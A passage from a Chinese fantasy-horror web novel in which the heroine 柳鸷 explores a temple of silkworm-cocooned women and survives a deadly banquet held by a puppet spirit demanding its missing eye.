题写不巅庙。
这......怎么可能!!!
4. 寒衣龛(四)
柳鸷怀疑自己鬼打墙了,不然为什么这么像。
她闭上眼睛,再睁开。
眼前的景象未变。
柳鸷深吸了一口气,抬脚走进庙院,推开庙殿的门。
倏得,瞳孔一颤。
庙殿正中央是一座巨大的神像,衣冠蓝缕,长发垂髫,面部只有一双眼睛,余下是平整、空白的,根本辨不出雌雄。
神像垂着眼,俯视着庙殿上。
整齐有序的排着六排五列的木板,除开两块木板,其余木板上都躺着人或蚕茧。
木板上的人肤色发黑,双眼紧闭,任由白色的蚕虫爬满脸上,嘴部无意识的微张,吐着蚕丝,慢慢的把身体圈起来。
其中,有的呈现半环丝状,有的已经结成薄茧,有的体部结了厚茧,约有一口棺材般大,只剩下尾部隐约可见一双红色的绣花鞋。
柳鸷欲走近查看,刚要下脚,发现地上爬满了白色的蚕虫。
柳鸷直直的在门口站了一小会后,小心翼翼的往外退,缓缓地关上了殿门。
柳鸷坐在古庙门阶上,撩开云袖,拍了拍金菜,问:“系统,今天这庙和昨晚的庙是同一个庙吗?”
系统,毫无回应。
柳鸷又叫了两声。
依旧。
柳鸷瘪了瘪嘴,一问到关键性问题就装死!无奈,她只能放出瞳孔上的观众满意值,还是停留在「5%」。
「2%」的满意值是柳鸷昨夜遇险,全力抗争的情况下得来的。
这是否意味着观众喜欢具有冲击性的画面?
倘若,她现在冲进庙里暴杀二十八具蚕茧,应该很有冲击性。
但昨夜一具蚕茧爆炸,都足以让他们损失惨重,更何况是二十八具。
柳鸷不经意地扯了一根头发缠绕在指尖,打量着四周。
建筑架构、曲径位置与昨夜是一样的,差别在于树植生长,庙宇更新,连徐昊他们的残骸也不见了。
柳鸷心中有了两种猜想。
其一,这或许是同一个地方。
既是神龛,理应有玄妙之处。
白天时是这般美好的景象,黑夜时又是她昨夜见到的那番荒凉也是有可能的。
其二,......柳鸷抬头望了望太阳,有一个时辰过去了,太阳还在正午位置,没有变动。
现在黑发女人也失去了踪迹。
柳鸷叹了一口气,决定等天黑了,一验便知。
在此之前,她还有更的重要事情要做。
那便是,晒阳光浴。
柳鸷走到台阶上,懒洋洋地躺下,四仰八叉的,开始充当人形衣架,任凭阳光蒸发掉湿润润衣袍上的水。
柳鸷晒了不到半柱香的时间,渐渐乏困了,徒然听见万宝子气喘吁吁的声音。
“师兄,我看见前面有一座古庙。今晚我们去那里休息好不好?”
声音由远及近,速度很快。
柳鸷刚起身,就瞧见了一个画面。
柏封棠的步伐悠悠哉哉,却疾如闪电。
万宝子背着小包袱,迈着小短腿跟在后边跑。这小子应该是有点法力的,不然也跟不上。
“好巧两位,又见面了。”柳鸷大方的打招呼。
“不巧,我有意来的。”柏封棠淡然地瞥向庙殿。
柳鸷:“......”
万宝子忽然拉住柳鸷的手,乖巧的问:“美人姐姐,今晚你要和我一起睡吗?”
话音刚落,万宝子感觉自己莫名其妙的被师兄扎了一记眼刀。
然而,童言无忌,柳鸷一点也没在意,“这庙恐怕不适合作为落脚点,里头有东西。”
“什么东西?”万宝子懵。
“劳请姑娘为我们带下路?”柏封棠微微颔首,颇有礼貌的询问。
柳鸷盯着这张妖冶的脸,突发奇想要瞧瞧这美人惊恐的糗样。
于是,柳鸷好心的领着一大一小走进了庙院,推开殿门。观察两人,没想到万宝子直呼:“天呐!好可爱的小蚕蚕。”蹲下身,欲要探手去摸。
柏封棠一声不吭,一脚迈了进殿内。庙殿的地面上,无以数计的蚕虫瞬时被一股强大的冲击波,镇压的粉碎。
这人好厉害啊!
万宝子摸了个空,委屈巴巴地蹲在地上,像只小狗一样用骨碌碌的眼珠瞪着师兄,“蚕蚕这么可爱,你怎么可以杀死它!”
“感染你,会死的。”柏封棠语调平平,却吓得万宝子蹦离殿门三米之远。
柏封棠轻笑一声,万宝子惊觉上当了,气得一边跺脚,一边猛捶红石柱,“坏蛋师兄。我再也不要跟你一起了,你自生自灭去吧。”
柏封棠没哄他,言简意赅的丢下一句,“嗯,那你滚吧。”独自进入庙殿内。
柏封棠背左手于后,伸出右手检查蚕物,以食指微抵在一个半环丝状女人的鼻息间。
柳鸷探进头问,“死了?”
“在被感染的那一刻,人性就死了。”柏封棠掰开蚕尸的口腔,几条蠕动的活蚕虫正在生长、吐丝。
柳鸷推测蚕虫会吞噬人类,但不一定是感染体,否则昨晚徐昊他们应该会变成蚕尸,而不是直接被吞噬成骷髅。
“它们是怎么感染的?”
柏封棠横扫一圈,挑眉说:“你想知道?”
“你不会也不知道吧?”柳鸷激将法反问。
柏封棠笑而不语,右手掌轻轻搭在木板上,下一秒,女蚕尸身上的蚕虫与蚕丝径直震碎成了渣渣。
“帮个忙,检查下蚕尸的身体。”
柳鸷疑惑的放眼望去,发现庙里躺着竟然都是女蚕尸。
啧。
她扬了扬下颚,“我干活很贵的,你要我帮忙也不是不行。”
柏封棠饶是有趣的,“噢?什么条件?”
“没想好,等我想到再说。”柳鸷在神像下的签筒里,取了两根木签当筷子,夹开女蚕尸的衣裳。
柏封棠避讳地背过身。
柳鸷瞧着他如松般坚毅的腰背,想这人竟然明晃晃将背部留给她这个陌生人,不知道是该夸他对自己太有信心,还是对她太放心。
柳鸷费力地将女蚕尸的身体检查过去。
“周身皮肤呈现不同程度的黑痕,但均未破损。”
“腹部蚕虫最多,吐丝也最严重。”
“下身......下身已经溃烂,黏着衣物看不清了,要剥开看看吗?”
柏封棠正想说不必,但身后传来一道惊呼声。他意识到柳鸷已经剥开看,徒然一笑,“就你主意大,看见了什么?”
“白的、密的、蚕巢。”柳鸷颤着音骂着:“该死的!你是不是早就知道了?难道蚕尸的感染途径是颠鸾倒凤?”
柳鸷气得问句频频,检查完又帮女蚕尸穿好衣服,一顿操作下来,热出一身汗。
柏封棠说:“不,只能说感染点是□□。感染者□□孵卵,生出蚕虫,产丝结茧,蚕茧孕育的龛,三日便能破茧而出。”
柳鸷想起昨夜遇到的,“那个人身蛾翅的怪东西?”
“你见过?”
柳鸷犹疑了一下,“嗯,一个和那个一样的蚕茧爆炸,飞溅出无数只蚕蛹,和一个人身蛾翅的龛,吓——”柳鸷的话卡在喉咙里,她指向的左前方处的蚕茧不见了。
原本那儿有两具已经成型的蚕茧,一厚一薄。可现在放置蚕茧的木板上只剩一具薄的,厚的、隐约可见红色绣花鞋的那具蚕茧不见了。
柳鸷巡视过庙殿内的蚕茧,担心是记错了方位。
但一数,更不对劲了。
“柏封棠,方才你进来时有数一共多少具蚕尸吗?”柳鸷的声音很冷静。
“二十七,怎么?”
柳鸷一阵头皮发麻。
心里掂量,如果要搬动一具棺材板大的蚕茧
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,至少得四五个人,且搬运的动静不小。
但她一直守在庙外,没有听见任何声音,也没任何人从庙里走出。
柳鸷扫视四周,连窗户都是紧闭着的。
太诡异了。
柳鸷说:“如果要搬动这样一具蚕茧,你需要花多长时间?又或者,你可以凭空让这具蚕茧消失吗?”
“很遗憾,我不会大变活尸。”柏封棠的眼中藏着一丝戏谑。
“那你还不够厉害!”
“噢?”柏封棠敛眉,靡靡昧昧地睇向她,嘴唇翕动,“......那你想我怎么厉害?”
柳鸷一本正经道:“我前一会来时,左前方还有一具蚕茧,但它现在凭空消失了。所以,我在想有可能是比你更厉害的人把它带走了。”
“哦。那大概不是阙庭的人。”柏封棠很笃定,说着往另一具厚茧的蚕尸走去。
“那可能是龛,感染这些蚕尸的可能也是龛。”柳鸷想,这个龛很可能是个雄性。龛做这些虽不知道其的意图,但预计不是好事。
柳鸷问:“我可以放一把火毁掉这些蚕虫吗?”
柏封棠停下脚步,嗤了一声:“你倒是敢想。选手们需要它们结茧的蚕丝制衣来破这个龛,否则将囚死其中。”
没辙。
柳鸷自个儿走向左前方,想去检查看看那块木板是否有玄机。
柏封棠在不远处背身查看另一具蚕尸,警告道:“别乱碰,蚕和丝都有毒。”
“好的哦。”木板上没有蚕和丝,柳鸷瞅了半天,也没瞅出个所以然。她大胆的,就着木板直接躺上去了。
也没出现机关。
起身时,旁边薄的蚕茧猝然一动。
柳鸷的手掌,被一根旁边延伸过来的、极细的蚕丝刮了一道。
丝如利刃。
柳鸷的伤口溢出了金黄色的液体。
柏封棠蓦然转身,柳鸷下意识的把手藏在背后,顿觉手麻痹了,腹部竟也有点绞痛。
不对劲。
难道她被感染了?
柏封棠大步流星至眼前,“受伤了?”
柳鸷也顾不得其他,忐忑地摊出手。
白嫩的掌心是一道金口子。
柳鸷皱着眉头问:“我不会变成龛吧?”
柏封棠冷哼,“乱摸的时候,怎么不怕?”他根根修长的左手指从下方托住柳鸷的手背,虎口弯曲,以大拇指的指腹覆盖住她的伤口。
柳鸷的小手被裹进宽大的掌心里。
柏封棠的拇指缓慢的、摩挲过伤口,一股热源闯进柳鸷的掌心尖。
手中的麻痹感正在消失。
待柏封棠的拇指移开后,伤口瞬间消失了,皮肤恢复的完好如初。
“哇!你也太厉害了吧!”
在柳鸷盯着手惊叹时,柏封棠笑着、克制的将左手从她的手下方收回,缠绕在指间的金币驳链碰撞出清脆悦耳的叮当声。
柏封棠捻着拇指腹上的流金血,叮嘱:“流金血珍贵,莫要再受伤。”
他没有惊讶于流金血,只是很平淡的陈述。
柳鸷点了点头,“流金血有何用?”
柏封棠捻着指腹上的一抹流金,“黄金入火,百炼为流;埋之,毕天不朽;炼人身体,便是——”
柏封棠的眼神带着点邪性的,盯着拇指上残留的流金血说:“无上法力。”旋即,他探出舌尖舔舐、扫过唇边上的拇指腹,舌尖灵巧的将流金血席卷入口中。
而后,柏封棠漫不经心的抬眸,望向柳鸷说:“所以,不可让别人知道你的秘密。否则,你将成为众矢之的。”
柳鸷心尖一颤,后退半步,“那你......算别人吗?”
柏封棠的眼神晦涩、又危险地看着她,还未开口,一阵尖声打破了庙殿内的气氛。
万宝子喘着气跑进来,大喊:“龛......龛来了——”
5. 寒衣龛(五)
一位身着灰色粗麻布衣的小姑娘,出现在庙殿门口。
约莫十八九岁,眉眼秀丽,容貌婉约,声调轻柔细腻的笑道:“欢迎两位选手来到寒衣龛,我是貌宜。”
柳鸷虽疑惑,但还是不露声色地问好。
貌宜说:“为尽东道主之宜,寒衣龛将在今夜戊时举办晚宴。现下时辰已不早了,两位是否随我前往宴场?”
戊时?
这个晚宴,显然是一场鸿门宴。
柳鸷瞥向外头,石柱的影子短而扁,太阳还是在正午的位置。
这个太阳有问题。
柳鸷原想等天黑,验证此处是否为同一个地方,但黑夜不会来临了,她的猜想被推翻。
柳鸷睇向敞坐在木板上的柏封棠。他正抽着那根带流金血的蚕丝,看都没看貌宜,说:“还以为龛死光了,一顿饭拖到现今。”
貌宜脸色闪过一阵窘迫,右手覆上缠着粗布的左拇指,歉意的解释:“昨夜事出有因,还请选手们见谅。”
“可今个儿我们不想去了,龛也见谅见谅。”柏封棠懒淡的撩起眼皮,毁掉手中的蚕丝。
貌宜低垂着头,半晌,转向柳鸷,“这位姑娘考虑好了吗?昨晚,我记得你并没有出现。”
柳鸷思忖着,抬眸间瞥见万宝子在貌宜身后,摸着肚皮疯狂的朝她眨眼。
“我啊?我饿了两天了,就等这一顿了。我和那个小孩一块,劳烦姑娘带路吧!”柳鸷对流金世界的了解,甚少。
原地踏步不是柳鸷的风格,所以她选择去探一探究竟。
貌宜摆了摆手,见柏封棠腾地从木板上站了起来。她温婉一笑,“那就请三位随我往这边走。”
柏封棠瞥了一眼蚕茧,轻打了个响指,便跟随柳鸷往外走。
两人刚走到庙殿门口,身后骤然传来一阵“嘭”的爆炸声。
柳鸷下意识地拽着身边人的手就跑。跑了两步,猛地听见:“你们跑什么?竟然丢下我!呜呜呜——”
万宝子的哀怨声从殿门处传来。
柳鸷和两手边的人都停住了。
柳鸷回头,发现没有蚕蛹追来,紧绷的心稍稍放松下来。于是,她侧眸望,右边牵住了柏封棠炙热的手,而左边牵的寒冰般的手是......貌宜。
“从没有人,这么迫切的想要救我。”貌宜赤忱的笑着,松开了柳鸷的手,揉了下头发说:“谢谢你啊。”
柳鸷搓了下手心里的细丝,是她一激动扯断了貌宜的长发。
囧!
柳鸷刚想说点什么,却被柏封棠拉至怀前,一缕淡淡的伽南香萦绕在她的鼻尖。柳鸷在这一抹宁神、遣性的味道中,嗅出了一丝自责。
距离,太近了。
柳鸷甚至能感觉到柏封棠扣住她的手,骨指干燥,手心竟泛着潮润。她听见柏封棠低低的声线,温声问:“吓到你了?”
柳鸷缓了缓,摇了摇头,立即挣脱开柏封棠,转身去查看。
柏封棠的左手半垂在空中,只剩下孤零零的金币驳链在风中摇曳。
万宝子躲在石柱后,探出半个圆溜溜的脑袋,“师兄,我吓坏了。”
“嗯?”柏封棠收回手,觑向万宝子。后者吐槽说:“我原本不怕的,但你们所有人一下子都在跑,吓死我了!”
柳鸷走至庙殿门口瞻察,孕育龛的蚕茧,炸得支离破碎。
蚕丝如雪般倾盆而下,落入满地的血色与残骸里,根本就没有黑褐色的蚕蛹。
貌宜见此,讶异的往殿内走去,停在一个木板前,有丝焦急又平静的说:“这是龛主精心为选手们准备的。按时间算,这具蚕茧马上就要破茧成蛾了,怎么会......”
柳鸷发现爆炸的蚕茧,正是方才割了她手的那具。
此时,木板上已没有蚕茧,只剩下一片薄薄的金箔。
柏封棠冷不丁地:“大概是活腻了,就爆了。”
貌宜无奈,又扫视、检查了一圈,“还好其他的没问题,不然龛主该生气了。”说罢,貌宜从木板上取走金箔,融进自己体内,才带着几人离开古庙。
柳鸷为弥补方才没有救万宝子,一路上都牵着他。她思索许久,又瞥见前方的貌宜,悄悄地问柏封棠,“她不是龛吗?怎么还有龛主?”
柏封棠还未开口,貌宜听见了,扭过头说:“我是龛,下阶龛。”
“神龛共有二十七阶,分为上阶龛,中阶龛,下阶龛,每阶九级,我就是下九阶。”貌宜指着远方,“你往那看,能看见一座红色的雪山吗?”
柳鸷以两百度的近视眼遥望,太远了,看不清。她挡住强光,眯起眼睛,好像有一个轮廓。
但,红色?
“我只看见一座白色的雪山。”柳鸷说。
貌宜微愣,轻轻的笑了,“好吧,是我忘记了。人之所见焚山,与龛有异。”
旋即,貌宜娓娓道出。
数百年前的一夜,苍穹中划过一束流光,一块巨石砸在了焚山,震天动地。
人类视其为九天凶兆,携兵器前去查看,发现是一块流动的金石。
流金石被传开,大批的人四面八方涌向焚山采金。人类为了抢夺金子,在焚山厮杀,血流成河。
那一晚,焚山大火,烧了整片山与山脚的村落。
侥幸逃脱的生灵,皆被流金石感染成异种,发着狂,四处虐杀人类,抢夺人类的地盘。不到一年,人类被逼入穷途末路。
后来,从焚山里走出来一位神,镇压了所有的异种,为人类创造喘息的机会。
“他是救世主?”万宝子忽然发问。
“不,神并不拯救人类。”
神只是、讨厌无休止的单纯杀戮,这太过无聊且吵囔。他认为,万灵皆是世界的孩子,而主宰权只属于强者。
所以,神将异种封印在神龛里,统称为龛。
要龛与人类在神龛里,进行较为公平的厮杀,胜者便可获得天下的主宰权。
由于,龛的能力有强弱之分,所以,每一个神龛的阶级由龛主决定。
为了趋向公平,每一个神龛都制定了相应的规则。
神从焚山里创造了止阎、青诡、焚龙、黑魇四位神使,分别来管理、审判与守护流金世界的东、西、南、北四大龛域。
人类和龛,将四位神使称之为“司寇”。
“我们现在所在的神龛是上四龛,隶属于南方龛域,管辖
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的司寇是焚龙。”
柳鸷疑惑,“那些人身蛾翅的龛与你是何关系?”
“那些刚刚被感染的小新龛,按辈分算,都是龛主的徒子徒孙。法力虽低,但是难缠。”
“你对神龛里的事情很熟悉,怎么没提升法力,还是下阶龛?”
貌宜倏地捧腹大笑,“柳鸷是吗?凶猛的小鸟。我是龛耶,你竟然相信我说的话。哈哈哈——”
柳鸷微愣,十分坚定道:“我只相信我的观察与判断,你刚才阐述的流金世界历史,并无谎言。”
柏封棠睨了貌宜一眼,不屑道:“她所说得,不过是龛的残暴发家史,众所周知,并不稀奇。”
貌宜停下笑声,“发家史?”随后又颇为得意的感叹:“是啊,好久了。久到小女子已经芳龄八百八十八了,还是这副面容。”
貌宜摸了摸自己的皮囊,感慨道:“在我十八九岁时,我也是有追求的龛。幻想着有一天能走出神龛,看看外面的世界。可外面进来的选手总是满眼杀意,那时候的我胆小,幸亏有龛主庇护,这么多年我安逸惯了,现在要我拿命出去和人类抢地盘,我懒得折腾。还不如老老实实的侍奉龛主。”
“是吗?”柳鸷的脑子转得飞快,顺着推断,随即出声:“按你们寒衣龛的规则,龛主应在选手入场第一日,以东道主身份宴请选手,而选手不可拒绝赴宴。”
“所以,昨夜除我之外的选手应该都去了。但昨夜选手们等候许久,都未见龛主出现。龛主违反规则,按理说焚龙应该出现制裁龛主,但焚龙至今未现身。所以,你们龛主才赶紧在今夜补办一场晚宴,对吗?”
貌宜点了点头,食指抵在唇上,“不要说,再说你我都要死的。”
“你怕焚龙听见?”柳鸷问。
“他?他估计正在呼呼大睡听不见,不然昨晚你就该死了。”貌宜顿了顿,偷偷说:“我怕神听见。”
柳鸷敬而不卑,“神?在哪里?”
“在看着你。”
柳鸷瞳孔一震,鼻翼都在颤动。
这人说的话怎么和系统说的一样,莫非神就是观众?
三人随着貌宜进入一个宁静的村庄,不巅村。
村头青枝绿叶,一道溪流由东向西。草茅房檐高低错落,巷道阡陌交通。
路上偶遇了几只正在啃食桑叶的蚕虫,貌宜伸出手,蚕虫爬进她的手心,递给柳鸷看,“软软蠕蠕的,很可爱吧。”
柳鸷缩了缩眼皮,遇见了蚕,却没有遇见一个村民的身影。
难道是无人村?
貌宜将蚕虫收进腕袖里,“刚好带回去给龛主。”
几人行至东北方位,柳鸷偶然站在一屋旁,眺望远方。
在明朗的日光下,可以清晰的看见远方有一片葱郁的树林。
那很可能就是她昨晚刚刚醒来时,看见破败村庄的站立点。
貌宜带着他们,穿过一栋栋小屋,来到一个石墙垒造的房子前。“晚宴就在这里举办。三位先进去稍坐一会,我再去接应下其他选手。”
柳鸷牵着万宝子刚迈过门槛,就听见万宝子赞美的长叹:“天呐!——是人彘耶!”
柳鸷抬眸一瞧,哽住了。
6. 寒衣龛(六)
举办晚宴的地方是一个四四方方的祠堂,正前中央,以红烛供奉着一个半丈高的人彘木偶。
被断了手足的人彘木偶身着朱红色的祭服,立于庄严的供桌之上,一根根漆黑的木条头发如千条缠蛇般散落。
它花了脸,嘴唇半割,鼻子已剁,双眼眶也只徒留下两个黑乎乎的窟窿。
祭台前,是一个空旷的露天场地,场地上摆着一个足以容纳二十余人的长桌。
美酒佳肴,琳琅满目。
“没见过世面的小孩。”长桌的尾部,离门处,已经坐了一对年轻的男女。
那姑娘一身水蓝裙袍,长得清秀白嫩,胜在一双迷人的桃花眼,正斜视着万宝子。
旁边的男人高大、俊朗,腰间佩着一把擒元弯刀,整个气质温润如玉。他温文尔雅道:“小翡,不可乱说。”旋即,目光越过柳鸷,望向她身后的柏封棠。
“第一次见你带人来。”男人客气地起身,同柳鸷说:“我是秦为墨,这是我的发小,陈离翡。”
柳鸷见其余人都相互认识,只有她是新来的,便礼貌性的自我介绍了下。随后,她瞅了瞅方向,确定秦为墨坐的方向是尾部,就走过去,打算入座。
柳鸷在倒数第二个座位前停下,手刚搭上椅背。
对面,倒数第一位的陈离翡说:“哎哎,女的往前面坐,不要坐这里。”
“为什么?”柳鸷心想你不也是女的,你也坐在这里。
“哪来那么多为什么,让你坐前面你就坐前面,少会废话。”陈离翡像个女土匪般,蛮不讲理。
“小翡,你冷静一点。”秦为墨劝着女土匪。
柳鸷没管,呲了一声,兀自拉开了椅子。
陈离翡哐地一下,推开秦为墨站了起来。
坐着的时候,没发现她有这么高挑,骨骼纤长,肤色白皙,这放现世界是妥妥的超模身材。
陈离翡怒气冲冲道:“让你坐前面听不懂人话吗?”
柳鸷是典型的吃软不吃硬。
她无视陈离翡的怒吼,径直坐了下来。
陈离翡瞪大了桃花眼,大声囔囔着让柳鸷滚。秦为墨拿她没办法,只得好声好气的说:“抱歉,柳姑娘,你要坐前面吗?封棠也会坐在前方主位的。”
身后突然伸出一只手摁住柳鸷的肩膀,沉声:“不必了,就坐这吧。”说罢,柏封棠走到了倒数第一位,与陈离翡面对面地坐了下来。
陈离翡气得手都在发抖,指着柳鸷说:“好啊!原来是有撑腰的——”秦为墨立马捂住了她的嘴巴,“好了,别说了,我的祖宗。”
柳鸷觉得这姑娘心理状态可能有点问题,也不想和她计较。
柏封棠漫不经心的擦拭着筷子,淡淡道:“你再这么纵着,迟早要出事的。”
秦为墨神色一凛,哑然。
万宝子坐在柳鸷左边,附在她的耳畔,小声说:“陈离翡怕女人。”
女人怕女人?
柳鸷惯性分析。
其一,陈离翡的生理或心理曾遭受女性的虐待,所以才会恐惧女人,不想靠近女人。
其二,陈离翡因身为女性而遭受过不幸,所以痛恨自身是女人,不想靠近女人。
柳鸷试图问万宝子,但后者并不知情,只说:“秦为墨肯定知道原因,不过他是个上舍乙等,牛着呢,不会告诉我们的。”
这时,貌宜又带着几个人来,他们见到柏封棠都有些出乎意料。
在阙庭,分为上舍、内舍、外舍,每舍分有甲、乙、丙三级。以上舍甲等最为尊,而上舍甲等至今只有柏封棠一人。
阙庭里,上舍以下的选手没资格和柏封棠搭话,因为不太敢说,柏封棠也懒得回。
没一会的功夫,三三两两,聚齐了快一桌人。
貌宜走进来,站在长桌尾部中间说:“龛主,存活的选手已到齐,是否可以开始晚宴了?”
柳鸷眼睛转了一圈,没有谷栖夏和江琥,不知道他们是牺牲了,还是活在另一个不巅村。
片霎,貌宜似乎听到了龛主无声的回应,宣布:“选手们,享受晚宴吧。”
头顶着正午的大太阳吃晚餐,这真是一个新奇的体验。
放眼望去,红烧官燕,金丝血燕,浓汤蟹柳浸鱼肚..
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....烤全羊等等。
面对一桌的美味佳肴,柳鸷没有开动,只是握着筷子假装在吃,实则在打量选手们。
右侧的“柏选手”夹着筷子,微垂着细长的睫毛,慢条斯理地将鱼剔骨挑刺,动作流利、优雅。他似乎格外喜欢吃鱼,中午捕了十余条鱼,至少也吃了五条吧,竟然晚上还要吃鱼!
左边的“万选手”在啃羊肉,感叹着:“太好吃了,我要吃一百块!”
“你会撑死的。”柳鸷警告道。
“不要小瞧我,我可能吃了!这些放平常我都吃不到的。”
“为什么?”
万宝子瞄了一眼柏封棠的方向,满嘴流油的悄声说:“因为师兄不吃地上跑的,和长了腿的东西。”
这么挑食?
难怪一直在吃鱼。
柳鸷又望向对面,“陈选手”在狂吃肉,量还很大。第一次见到食欲这么好,还这么瘦的姑娘。
而“秦选手”一直在细心的照顾“陈选手”,不禁令柳鸷想起了哥哥。
一份干净的、色泽鲜亮的烤肉端至柳鸷跟前,柳鸷狐疑的看向柏封棠。
柏封棠耐心的解释:“在食物里下毒是最低阶的龛才会使的手段,上阶的龛都很高傲。所以,吃吧。”
“这样啊,谢谢你噢。”这肉烤得贼香,食欲大开的柳鸷吃完烤肉,又夹了一条炸小黄鱼。
柏封棠唇角轻翘,放下筷子,拿帕子擦拭手,抿了一杯酒。
一桌人酒足饭饱后,带着些许的倦意,打算离开。
祠堂的正前中央,半丈高的人彘木偶忽然从祭台上跳了下来。木骨落地的咚咚声直接把大家给震醒了!
人彘木偶抬起奇形怪状的脸,用黑洞洞的眼眶,似在扫视众人,又望向杯盘狼藉的桌面。
可它是没有眼睛的。
有选手问:“你这怪物谁啊?”
人彘木偶没有理会,扬起头,傲慢、沙哑又掺杂着怪调的诡异男声,从它的腹部发出。
“貌宜,刚刚我下厨时,不小心把我的眼睛掉进菜里了。快找找是哪位幸运的选手吃了我的眼睛?”
7. 寒衣龛(七)
大部分人都怔住了,但他们都是经过多个神龛历练的,所以只在微怔后立即恢复了理智。
貌宜严肃道:“选手们,请主动将眼睛归还龛主。”
倘若知道是眼睛,谁还会去吃这东西。可现在都吃完了,谁又知道是谁吃了。
现场,鸦雀无声。
祠堂陷入了一片寂静。
人彘木偶跳回祭台上说:“本龛只给你们一炷香的时间,把吃我眼睛的人揪出来。否则,一炷香后,你们所有人都去死。然后,我要一个一个剖开你们的肚子,找我的眼睛。”
它的声调阴飕飕的。
天空中的太阳明明很大,但却照不热这一片四角天地。
一个大汉说:“你自己把眼睛当菜炒了,现在还要找我们吐出来还你,你有病吧?你是不是故意的?”
人彘木偶轻声,“哦~被你发现了。我就是故意的。”
大汉指着它,朝天大吼:“司寇!司寇!龛主要滥杀选手!”
人彘木偶歪了歪头,嘴角往上咧开,发出“桀桀桀”的笑声,“按照本神龛第六条规则之第三点,赴我宴会者,吃了不该吃的东西,本龛有权对你们进行处决。”
“焚龙!你给我出来!”大汉喊了半天,无人回应。他很生气,拔起刀就往前冲。
但还没冲到人彘木偶跟前,就被它一掌拍在地里。地面往下凹陷出一个人形,可见其法力之高。
一个青年站起来说:“我全程没动筷子,没吃任何东西,所以,我没吃你的眼睛。反正赴宴,我人也到了,现在大家已经吃完了,我可以走了吗?”
“当然了~慢走,不送。”人彘木偶回得轻快。
青年大步往祠堂门口走。
旁边的人见此,也开始吵嚷,声称自己没吃眼睛,也要走。
突然,门口处传来了一阵惨叫声。循声望去,刚才那个青年刚出门,就被一群黑褐色的蚕蛹团住。
蚕蛹生啖其肉,不到两秒,肉被蚕食光了,人体骨骼坍塌在血地上,慢慢聚拢,幻化成一颗金豆。
人彘木偶眼神示意,貌宜收走金豆,融进体内。
众人噤声,不敢再闹,纷纷看向长桌尾部,现场唯二的两位上舍,柏封棠和秦为墨。
柏封棠是选手中法力最强的,他曾杀死过上六龛,杀个上四龛对他来说完全不在话下。
可柏封棠在阙庭里,是出了名的冷血、见死不救。
亦如此刻,他独自酌酒,对于旁人投来的求救目光,惘若未闻。
于是,众人又望向秦为墨,提议联合杀死龛主。
秦为墨给陈离翡递过擦嘴的手帕,温和的笑着:“大家别看我,我虽是个上舍乙等,但杀上四龛很吃力。我还想活久点,照顾下小翡。”
柏封棠似乎对此早有预料,揿着酒杯道:“这不是龛的真身,杀了也无用。”
“当着我的面提议杀我。”人彘木偶仰天大笑,骂着:“蠢货!香已经点燃了,你们一起等死吧。”
祭台上,红香不顾他人死活,徐徐燃烧,一缕青烟安静的飘散着。
要如何找到消失的眼睛?
柳鸷站起来,望向人彘木偶,“龛主既然这么肯定有人吃了你的眼睛,必然已经知道眼睛在谁的肚子里了,对吗?”
人彘木偶玩弄着祭台上的供果,张开木嘴,咔咔的啃了一口苹果,回着:“当然。”
“那么你如何确定谁吃了你的眼睛?”
“食目者——”人彘木偶一顿,黑黝黝的眼眶直直看向柳鸷,它跪着爬过来,在柳鸷跟前停下,厉声道:“小姑娘,你想套我话?”
话音刚落,黑黝黝的眼眶直接扎进两根乳白的鱼刺。原本在饮酒食鱼的柏封棠,低叱警告:“滚远点。”
人彘木偶以两条断臂夹出鱼刺,嘿嘿两声,“不疼。你想知道啊,我偏不告诉你。”它蹦蹦跳跳回到祭台,捡起苹果继续啃。
柳鸷轻笑,“其实你也不知道,因为根本没人吃了你的眼睛。”
众人哗然,纷纷赞同柳鸷的观点。
“对,说不出来就是没有。”
“还想故意坑骗我们。”
“......”
一群人不信服,七嘴八舌的,像烧开了的水般沸腾着。人彘木偶唯一的感官——耳朵,要炸了。
“你们!”人彘木偶气急了,将啃得东一口、西一口的苹果砸在地上,怒气填胸着,“哼!我告诉你们也无妨,食目者的杯底刻有眼睛。”
一时之间,所有人都在检查自己的杯底。
片刻的安静后,一位身着青衣的俊俏青年呼吁:“谁吃了眼睛,我奉劝这个人自己站出来,不要害了大家。”
站出来。
这是个极其简单的动作,但是。
无人行动。
俊俏青年朝身旁的姑娘睨了一眼,“姜萱的杯底藏有眼睛。龛主,我现在就杀了她。”
名叫姜萱的姑娘顶着一头微卷的头发,愣愣的盯着杯底的眼睛,无法解释。
没有一个人出声反对,仿佛杀死这个姑娘来解放所有人是对的。
俊俏青年举起刀,一刀挥下——
“等一下。”柳鸷攥紧手中的酒杯,俊俏青年根本没有理睬她,还是一刀往下砍。柏封棠出手,一粒花生米闪过,把他的刀给弹断了。
柳鸷松了一口气,举起杯底说:“我的杯底也有眼睛。”
俊俏青年冷笑,“别着急,等我杀完她,再杀你。”
柳鸷笑了笑,反诘:“那你要杀光这里所有选手吗?”
众人脸色一变。
“如果我没有猜错,在座的各位选手们的杯底都有一颗眼睛吧。”
柏封棠首个将自己的杯底翻过来,甩在长桌中央,供大家瞻仰。
秦为墨翻过来,“我也有。”
万宝子也翻过来,“我竟然也有耶!”
......
一个一个的杯底倒翻,一颗一颗的眼睛呈现在太阳下。
姜萱一把夺过俊俏青年的酒杯,翻看,质问:“狗男人,分明你自己的杯底也有眼睛。追不到我就要故意陷害我?”
“萱萱。”俊俏青年口不择言的解释:“是、是是龛主骗我。龛主欺骗了大家。”他反指向龛主,“你怎么回事?为什么骗我们?”
人彘木偶摆了摆手,蛮不在意道:“何来欺骗之说?食目者杯底有眼睛,又不代表杯底有眼睛的就是食目者。你自己蠢可别侮辱我的人格。”
“明明你是在故意误导我们。”俊俏青年还在和人彘木偶对峙。
柳鸷望向祭台上的香,已经燃烧五分之一了。
柳鸷盘算一下,故意说:“既然所有选手的杯底都有眼睛,而你不可能有那么多眼睛。所以,我认为大家都
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没有吃你的眼睛。”
“你这是什么强盗逻辑?你们之中必定有一人吃了眼睛。”人彘木偶不耐烦道。
“一个人啊?”柳鸷话锋一转,“方才你辜负了我们的信任,现在我们不相信你说的了。”
“你别想套我话,反正一炷香之后,食目者就会死,你们这些触碰过他的人也会死。”人彘木偶冷哼,“到时候你们不信也得信。”
人触碰食目者会死?
所有人不约而同都拉开了点距离。
“那蚕虫触碰食目者也会死吧?”柳鸷想了想,“应该死的更快,毕竟蚕那么小。”
万宝子激动地举起手说:”这个我知道!我知道!蚕虫撑不到半炷香的。”
陈离翡越过秦为墨,对人彘木偶说:“喂,丑八怪!你借给我们十六条蚕虫,每只碰一个人,这不就找到你的眼睛了吗?”
